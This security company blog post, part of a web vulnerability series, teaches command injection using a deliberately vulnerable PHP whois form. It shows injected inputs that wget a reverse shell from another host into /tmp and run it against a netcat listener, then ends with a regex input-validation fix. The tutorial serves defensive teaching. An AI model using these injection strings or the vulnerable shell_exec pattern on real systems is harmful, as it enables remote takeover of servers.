Common Web Application Vulnerabilities - Part 4
In this series of posts, my colleagues and I will dig into some specific, common web application vulnerabilities we observe regularly while performing network and application pentests. The intention of this series is to further expand upon a lot of the great information that already exists on the topic while preemptively addressing common questions we receive from our customers.
Part 4: Command Injection Overview
Command injection, like many of other web application vulnerabilities, finds its root cause in the lack of input validation. This vulnerability type should be fresh on everyone’s mind with the recent exposure of the Shellshock vulnerability late last month.
One of the more challenging aspects of web application design is taking in user-supplied input and acting upon it in a secure fashion. This is where the command injection vulnerability exists. Command injection can occur when an application, say for example, takes in a domain name and performs a whois lookup on the supplied value. When the input from the user is received by the application, a check must occur prior to executing the predetermined command in conjunction with the user-supplied value. The vulnerability arises when that check is not present or stringent enough, and the application command to the underlying operating system is tainted with the malicious input from the user. This creates a condition where the user-supplied value is then executed as a command on the operating system.
Let’s take a look at a basic example of this vulnerability in action. Here we have an input field that sends an HTTP POST request to a PHP variable. The variable is then used to perform the OS command whois.
Figure 1: Example whois query web application
Figure 2: The HTML and PHP code for the example whois web application
The above webpage accepts user input via an HTML form field and assigns it the name of “domain” via:
<form action="/" method="post">
<input type="text" name="domain">
<input type="submit" value="submit" name="submit">
This is then accepted by the PHP block of code and assigned to the PHP variable “target” which is passed immediately to the underlying operating system for execution. Note the vulnerable code is based off of the excellent Damn Vulnerable Web Application project (http://www.dvwa.co.uk/).
$target = $_REQUEST[ 'domain' ];
$cmd = shell_exec( 'whois ' . $target );
The vulnerability occurs because no user-supplied input validation occurs before passing the $target variable to the $cmd variable for execution. Let’s take a look at the inputs we could provide to gain OS level command execution.
Figure 3: The intended output for a whois domain query
Figure 4: Command injection attempt
As shown in the last screenshot, a command was added to the domain form field and passed to the application with a semicolon (;) between the domain and the command we attempted to execute. This is successful due to Linux-based systems allowing us to submit multiple commands at once when separated by a semicolon.
Figure 5: The successful execution of our injected pwd command
When we submit our domain followed by the injected command and scroll to the end of the whois output, we see that the command successfully executed and outputted the result of the command. In this case, it is the present working directory of the web application (
At this point, we have identified that the application is not properly validating input and that operating system level commands can be executed. Let’s try to inject a command that will yield remote control of the host. A quick search online yielded a generic PHP reverse shell, and I have modified it to work in this instance. With the file hosted as a text file on another server, we will inject a command to the vulnerable host that will download the reverse shell code and write it to a PHP file in the /tmp directory. Here is the value submitted to the application:
fishnetsecurity.com; wget http://192.168.91.130/revshell.txt -O /tmp/revshell.php; ls -l /tmp
The above commands tell the host to perform a whois lookup on fishnetsecurity.com, download the shell text file via wget, place it in /tmp as a PHP file and lastly, list the contents of the /tmp directory to confirm the previous actions.
Figure 6: The successful retrieval of the reverse PHP shell
We need a listener on our local host to receive the shell once executed. This can be accomplished via a netcat listener configured to listen on the port specified in the PHP code.
Next we will execute the PHP shell code with one last command injection via the web application, submitting the following to the webpage form field:
fishnetsecurity.com; php5 /tmp/revshell.php
Figure 7: The successful execution of the reverse shell
The above screenshot demonstrates a few things:
- The initialization of the netcat listener on port 8080
- The initial connection establishment between the two hosts
- The execution of the w command to show active users
- The id command to show the context of the shell’s privileges
- The IP address of the vulnerable host
It should be noted that the permissions or privilege level of the shell are going to depend on the process that is running the web server. In our example, it was the Apache user www-data, which did not have elevated privileges on the host. Also note that many applications are set to run with elevated privileges such as root (Linux) and SYSTEM (Windows).
Lastly, this was a single example of command injection and the point in which it can be executed. Injection can occur via multiple points. Other examples could be found via a GET parameter as represented below. The %3B value is the URL encoded representation of a semicolon, which separates the domain to be looked up and the injected command.
The same can be done for the POST parameter during an HTTP request:
GET http://126.96.36.199/ex3 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Encoding: gzip, deflate
As mentioned earlier, the root cause of this attack is lack of input validation, so let’s update the PHP code to only accept valid characters as they pertain to domains.
Figure 8: The addition of the if statement that executes a regex against the provided value
Figure 9: Rejection of invalid user input
Without going into all of the specific standards for domain names, at a high level, they can only contain letters, numbers and dashes (but cannot start with one). The regex above matches the provided input to ensure a proper domain and mitigate potential malicious input. If the input successfully matches the regex, the code continues to execute the whois command; otherwise it fails to the else condition and the application replies with an invalid input error message.
This post was an overview of command injection and how it could be exploited. Again, the primary reason for its existence is the lack of input validation when the application receives user-supplied data. This will be a common theme for web application based vulnerabilities in general and discussed in other posts of this series.
- Part 1.1 - XSS Overview and Reflected XSS
- Part 1.2 - Stored XSS
- Part 1.3 - DOM-Based XSS
- Part 5 - SQLi Overview and Examples
- Part 6 - Directory Traversal
- Part 7 - Cross-Site Request Forgery
- Part 8 - Session Fixation
- Part 9 - Padding Oracle Attacks
- Part 10 - Abusing Same-Origin Policy